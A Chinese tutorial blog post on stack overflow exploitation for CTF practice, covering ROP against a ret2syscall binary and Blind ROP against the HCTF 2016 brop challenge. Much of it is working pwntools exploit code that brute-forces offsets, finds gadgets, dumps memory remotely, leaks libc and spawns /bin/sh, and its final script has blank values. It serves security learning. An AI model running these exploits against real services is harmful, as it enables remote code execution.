pwn-栈溢出2

简介: pwn-栈溢出2

pwn-栈溢出2


ROP

返回导向编程(英语:Return-Oriented Programming,缩写:ROP)是计算机安全中的一种漏洞利用技术,该技术允许攻击者在程序启用了安全保护技术(如堆栈不可执行)的情况下控制程序执行流,执行恶意代码[1]。其核心思想是通过栈溢出等方式控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(称为Gadgets)。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。


栈帧变化




普通ROP:


方法1:


  • F5反汇编

  • checksec 查看信息

  • 计算padding

  • 查找gadgets
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
ROPgadget --binary ret2syscall --only 'int'
ROPgadget --binary ret2syscall --string '/bin/sh'

1054e8316a838799ca657b4c30c48dbd_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

from pwn import *
p = process('./ret2syscall')
pop_edx = 0x0806eb90
binbash = 0x080be408
pop_eax = 0x080bb196
int_0x80 = 0x08049421
payload = flat(['A' * 112, pop_edx, 0, 0, binbash, pop_eax, 0xb, int_0x80])
p.sendline(payload)
p.interactive()

629a95a9446f42da0579cd15f14692b1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


方法2:


ROPgadget --binary ret2syscall --ropchain

from struct import pack
# Padding goes here
p = b''
p += pack(b'<I', 0x0806eb6a) # pop edx ; ret
p += pack(b'<I', 0x080ea060) # @ .data
p += pack(b'<I', 0x080bb196) # pop eax ; ret
p += b'/bin'
p += pack(b'<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806eb6a) # pop edx ; ret
p += pack(b'<I', 0x080ea064) # @ .data + 4
p += pack(b'<I', 0x080bb196) # pop eax ; ret
p += b'//sh'
p += pack(b'<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806eb6a) # pop edx ; ret
p += pack(b'<I', 0x080ea068) # @ .data + 8
p += pack(b'<I', 0x08054590) # xor eax, eax ; ret
p += pack(b'<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x080481c9) # pop ebx ; ret
p += pack(b'<I', 0x080ea060) # @ .data
p += pack(b'<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack(b'<I', 0x080ea068) # @ .data + 8
p += pack(b'<I', 0x080ea060) # padding without overwrite ebx
p += pack(b'<I', 0x0806eb6a) # pop edx ; ret
p += pack(b'<I', 0x080ea068) # @ .data + 8
p += pack(b'<I', 0x08054590) # xor eax, eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x08049421) # int 0x80
from pwn import *
# context.log_level="debug"
sh = process('./ret2syscall')
# print(p)
sh.sendline(b'A'*112 + p)
sh.interactive()

bfea908283d191f7c9210cda16f339e2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


BROP:


利用条件


  1. 存在稳定触发的栈溢出漏洞。
  2. 进程崩溃后,会立即重启,且重启后的内存不会重新随机化。这样及时开启了ASLR也可以利用
  3. 如果开启了PIE,则服务器必须是fork服务器,且不能使用execve。


利用阶段


  1. Stack Reading : 泄露返回地址和canaries。根据返回地址确定加载地址。一个字节一个字节爆破8字节canaries,每个字节有256中可能性。
  2. BROP:远程搜索gadgets,目标是将目标程序从内存写到socket,传回攻击者本地。
  1. 通过syscall、call调用类似write、put等函数。
  1. Build EXP:利用gadgets构造的ROP,从内存中拿出来。就可以进行普通ROP攻击了。

例二:HCTF 2016 brop


#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    puts("WelCome my friend,Do you know password?");
        if(!check()) {
            puts("Do not dump my memory");
        } else {
            puts("No password, no game");
        }
}
int check() {
    char buf[50];
    read(STDIN_FILENO, buf, 1024);
    return strcmp(buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

出题人GitHub连接https://github.com/zh-explorer/hctf2016-brop


1.爆破溢出长度。每次增加一个字符,如果正常返回说明没有溢出。如果刚好错误,说明已经溢出了。返回溢出值 - 1

def get_buffer_size():
    for i in range(100):
        payload = "A"
        payload += "A" * i
        buf_size = len(payload) - 1
        try:
            p = remote('192.168.190.129', 10001)
            p.recvuntil("password?\n")
            p.send(payload)
            p.recv()
            p.close()
            log.info("bad: %d" % buf_size)
        except EOFError as e:
            p.close()
            log.info("buffer size: %d" % buf_size)
            return buf_size

2.找到一个stop_gadget。这个目的是找到一个类似sleep的函数,程序执行到此会挂在这里。

def get_stop_addr(buf_size):
    addr = 0x400000
    while 1:
        addr += 1
        payload = b'a' * buf_size
        payload += p64(addr)
        try:
            p = get_io()
            p.sendline(payload)
            p.recv(timeout=1)
            p.close()
            log.info("stop addr:0x%x" % addr)
            return addr
        except EOFError as e:
            # p.close()
            log.info("stop bad 0x%x" % addr)
        except:
            p.close()
            addr -= 1

3.找到一个通用的gadget。目的是操作rdi,通过寄存器rdi进行传值。

而5f c3就是pop rdi;ret,所以pop_rdi = gadget_addr + 9

def get_gadgets_addr(buf_size, stop_addr):
    addr = stop_addr
    while 1:
        # sleep(0.1)
        addr += 1
        payload = b'a' * buf_size
        payload += p64(addr)
        payload += p64(1)
        payload += p64(2)
        payload += p64(3)
        payload += p64(4)
        payload += p64(5)
        payload += p64(6)
        try:
            io = get_io()
            io.sendline(payload + p64(stop_addr))
            io.recv(timeout=1)
            io.close()
            log.info("find address: 0x%x" % addr)
            try:
                io = get_io()
                io.sendline(payload)
                io.recv(timeout=1)
                io.close()
                log.info("bad address 0x%x" % addr)
            except:
                io.close()
                log.info("gadget address:0x%x" % addr)
                return addr
        except EOFError as e:
            io.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("can't connect")
            addr -= 1

此时堆栈情况


4.找到程序中的puts、write函数。目的是通过这个函数打印程序内存数据、函数地址等

利用Windows可执行文件 45 5a linux \7fELF方式进行判断是否是真正的put地址。

def get_puts_call_addr(buf_size, stop_addr, gadget_addr):
    addr = stop_addr
    pop_rdi = gadget_addr + 9
    # addr = 0x401190
    while 1:
        sleep(0.1)
        addr += 1
        payload = b'a' * buf_size
        payload += p64(pop_rdi)
        payload += p64(0x400000)
        payload += p64(addr)
        payload += p64(stop_addr)
        try:
            io = get_io()
            io.sendline(payload)
            # print(str(io.recv()))
            elf = io.recv()
            if elf.startswith(b"\x7fELF"):
                print(elf)
                log.info("puts call address: 0x%x" % addr)
                io.close()
                return addr
            log.info("puts bad 0x%x" % addr)
            io.close()
        except EOFError as e:
            io.close()
            log.info("puts bad 0x%x" % addr)
        except:
            log.info("can't connect")
            addr -= 1

此时堆栈分析

pdi = 0x400000  ==  puts(0x400000)

5.dump程序内存,和第四步一样,只是这里确定了函数地址,变化参数值而已。目的是打印函数内存,找到put_got的值

def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
    pop_rdi = gadgets_addr + 9  # pop rdi; ret
    result = b""
    while start_addr < end_addr:
        # print result.encode('hex')
        # sleep(0.1)
        payload = b"A" * buf_size
        payload += p64(pop_rdi)
        payload += p64(start_addr)
        payload += p64(puts_plt)
        payload += p64(stop_addr)
        try:
            p = get_io()
            p.sendline(payload)
            data = p.recv(timeout=0.1)  # timeout makes sure to recive all bytes
            if data == "\n":
                data = "\x00"
            elif data[-1] == "\n":
                data = data[:-1]
            # log.info("leaking: 0x%x --> %s" % (start_addr, (data or '').encode('hex')))
            result += data
            start_addr += len(data)
            p.close()
            print("%d" % (end_addr - start_addr))
        except:
            # pass
            log.info("Can't connect")
    return result

6.分析dump的内存

9256b02694dad6d1f7489aa34b91aeea_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

7.根据got地址找到函数地址

def get_puts_addr(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
    payload = b"A" * buf_size
    payload += p64(gadget_addr + 9)
    payload += p64(puts_got)
    payload += p64(puts_call_addr)
    payload += p64(stop_addr)
    data = b''
    p = get_io()
    p.sendline(payload)
    data = p.recvline()
    data = u64(data[:-1] + b'\x00\x00')
    log.info("puts address: 0x%x" % data)
    p.close()
    return data

puts(puts_got)

8.利用ret2libc中学习的基地址绑定关系,得到system和/bin/sh地址

def leak(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
    global system_addr, binsh_addr
    puts_addr = get_puts_addr(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)
    # 利用libcsearch
    # libcSearch = LibcSearcher('puts', puts_addr)
    # libc_base = puts_addr - libcSearch.dump('puts')
    #
    # system_addr = libc_base + libcSearch.dump('system')
    # binsh_addr = libc_base + libcSearch.dump('str_bin_sh')
    #
    # log.info("system 0x%x" % system_addr)
    # log.info("system 0x%x" % binsh_addr)
    #
    # 利用libc.so
    libc = ELF('./ubuntu_libc.so.6')
    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    # binsh_addr = puts_addr - libc.sym['puts'] + 0x186C6C
    print(hex(libc.sym['system']))
    binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
    log.info("system 0x%x" % system_addr)
    log.info("binsh 0x%x" % binsh_addr)

9.执行system

def pwn(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
    payload = b'a' * buf_size
    payload += p64(gadget_addr + 9)
    payload += p64(binsh_addr)
    payload += p64(system_addr)
    io = get_io()
    io.sendline(payload)
    io.interactive()

rdi = /bin/sh

system("/bin/sh")

10.执行

if __name__ == "__main__":
    # buf_size = get_buffer_size()
    buf_size = 
    # stop_addr = get_stop_addr(buf_size)
    stop_addr = 
    # gadget_addr = get_gadgets_addr(buf_size, stop_addr)
    gadget_addr = 
    # puts_call_addr = get_puts_call_addr(buf_size, stop_addr, gadget_addr)
    # puts_call_addr = 
    puts_call_addr = 
    #
    # data_bin = dump_memory(72,stop_addr,gadget_addr,puts_call_addr,0x400000,0x402000)
    # with open('data.bin','wb') as f:
    #     f.write(data_bin)
    #     f.close()
    # puts_got = 
    puts_got = 
    leak(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)
    pwn(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)

相关文章
|
C语言
【数据结构】栈和队列(c语言实现)(附源码)
本文介绍了栈和队列两种数据结构。栈是一种只能在一端进行插入和删除操作的线性表,遵循“先进后出”原则;队列则在一端插入、另一端删除,遵循“先进先出”原则。文章详细讲解了栈和队列的结构定义、方法声明及实现,并提供了完整的代码示例。栈和队列在实际应用中非常广泛,如二叉树的层序遍历和快速排序的非递归实现等。
1051 9
|
存储 算法
非递归实现后序遍历时,如何避免栈溢出?
后序遍历的递归实现和非递归实现各有优缺点,在实际应用中需要根据具体的问题需求、二叉树的特点以及性能和空间的限制等因素来选择合适的实现方式。
304 59
|
6月前
|
编译器 C语言 C++
栈区的非法访问导致的死循环(x64)
这段内容主要分析了一段C语言代码在VS2022中形成死循环的原因,涉及栈区内存布局和数组越界问题。代码中`arr[15]`越界访问,修改了变量`i`的值,导致`for`循环条件始终为真,形成死循环。原因是VS2022栈区从低地址到高地址分配内存,`arr`数组与`i`相邻,`arr[15]`恰好覆盖`i`的地址。而在VS2019中,栈区先分配高地址再分配低地址,因此相同代码表现不同。这说明编译器对栈区内存分配顺序的实现差异会导致程序行为不一致,需避免数组越界以确保代码健壮性。
137 0
栈区的非法访问导致的死循环(x64)
232.用栈实现队列,225. 用队列实现栈
在232题中,通过两个栈(`stIn`和`stOut`)模拟队列的先入先出(FIFO)行为。`push`操作将元素压入`stIn`,`pop`和`peek`操作则通过将`stIn`的元素转移到`stOut`来实现队列的顺序访问。 225题则是利用单个队列(`que`)模拟栈的后入先出(LIFO)特性。通过多次调整队列头部元素的位置,确保弹出顺序符合栈的要求。`top`操作直接返回队列尾部元素,`empty`判断队列是否为空。 两题均仅使用基础数据结构操作,展示了栈与队列之间的转换逻辑。
|
11月前
|
存储 C语言 C++
【C++数据结构——栈与队列】顺序栈的基本运算(头歌实践教学平台习题)【合集】
本关任务:编写一个程序实现顺序栈的基本运算。开始你的任务吧,祝你成功!​ 相关知识 初始化栈 销毁栈 判断栈是否为空 进栈 出栈 取栈顶元素 1.初始化栈 概念:初始化栈是为栈的使用做准备,包括分配内存空间(如果是动态分配)和设置栈的初始状态。栈有顺序栈和链式栈两种常见形式。对于顺序栈,通常需要定义一个数组来存储栈元素,并设置一个变量来记录栈顶位置;对于链式栈,需要定义节点结构,包含数据域和指针域,同时初始化栈顶指针。 示例(顺序栈): 以下是一个简单的顺序栈初始化示例,假设用C语言实现,栈中存储
552 77
|
10月前
|
算法 调度 C++
STL——栈和队列和优先队列
通过以上对栈、队列和优先队列的详细解释和示例,希望能帮助读者更好地理解和应用这些重要的数据结构。
252 11
|
10月前
|
DataX
☀☀☀☀☀☀☀有关栈和队列应用的oj题讲解☼☼☼☼☼☼☼
### 简介 本文介绍了三种数据结构的实现方法:用两个队列实现栈、用两个栈实现队列以及设计循环队列。具体思路如下: 1. **用两个队列实现栈**: - 插入元素时,选择非空队列进行插入。 - 移除栈顶元素时,将非空队列中的元素依次转移到另一个队列,直到只剩下一个元素,然后弹出该元素。 - 判空条件为两个队列均为空。 2. **用两个栈实现队列**: - 插入元素时,选择非空栈进行插入。 - 移除队首元素时,将非空栈中的元素依次转移到另一个栈,再将这些元素重新放回原栈以保持顺序。 - 判空条件为两个栈均为空。
|
11月前
|
存储 C++ 索引
【C++数据结构——栈与队列】环形队列的基本运算(头歌实践教学平台习题)【合集】
【数据结构——栈与队列】环形队列的基本运算(头歌实践教学平台习题)【合集】初始化队列、销毁队列、判断队列是否为空、进队列、出队列等。本关任务:编写一个程序实现环形队列的基本运算。(6)出队列序列:yzopq2*(5)依次进队列元素:opq2*(6)出队列序列:bcdef。(2)依次进队列元素:abc。(5)依次进队列元素:def。(2)依次进队列元素:xyz。开始你的任务吧,祝你成功!(4)出队一个元素a。(4)出队一个元素x。
460 13
【C++数据结构——栈与队列】环形队列的基本运算(头歌实践教学平台习题)【合集】
|
11月前
|
存储 C语言 C++
【C++数据结构——栈与队列】链栈的基本运算(头歌实践教学平台习题)【合集】
本关任务:编写一个程序实现链栈的基本运算。开始你的任务吧,祝你成功!​ 相关知识 初始化栈 销毁栈 判断栈是否为空 进栈 出栈 取栈顶元素 初始化栈 概念:初始化栈是为栈的使用做准备,包括分配内存空间(如果是动态分配)和设置栈的初始状态。栈有顺序栈和链式栈两种常见形式。对于顺序栈,通常需要定义一个数组来存储栈元素,并设置一个变量来记录栈顶位置;对于链式栈,需要定义节点结构,包含数据域和指针域,同时初始化栈顶指针。 示例(顺序栈): 以下是一个简单的顺序栈初始化示例,假设用C语言实现,栈中存储整数,最大
246 9
|
11月前
|
C++
【C++数据结构——栈和队列】括号配对(头歌实践教学平台习题)【合集】
【数据结构——栈和队列】括号配对(头歌实践教学平台习题)【合集】(1)遇到左括号:进栈Push()(2)遇到右括号:若栈顶元素为左括号,则出栈Pop();否则返回false。(3)当遍历表达式结束,且栈为空时,则返回true,否则返回false。本关任务:编写一个程序利用栈判断左、右圆括号是否配对。为了完成本关任务,你需要掌握:栈对括号的处理。(1)遇到左括号:进栈Push()开始你的任务吧,祝你成功!测试输入:(()))
260 7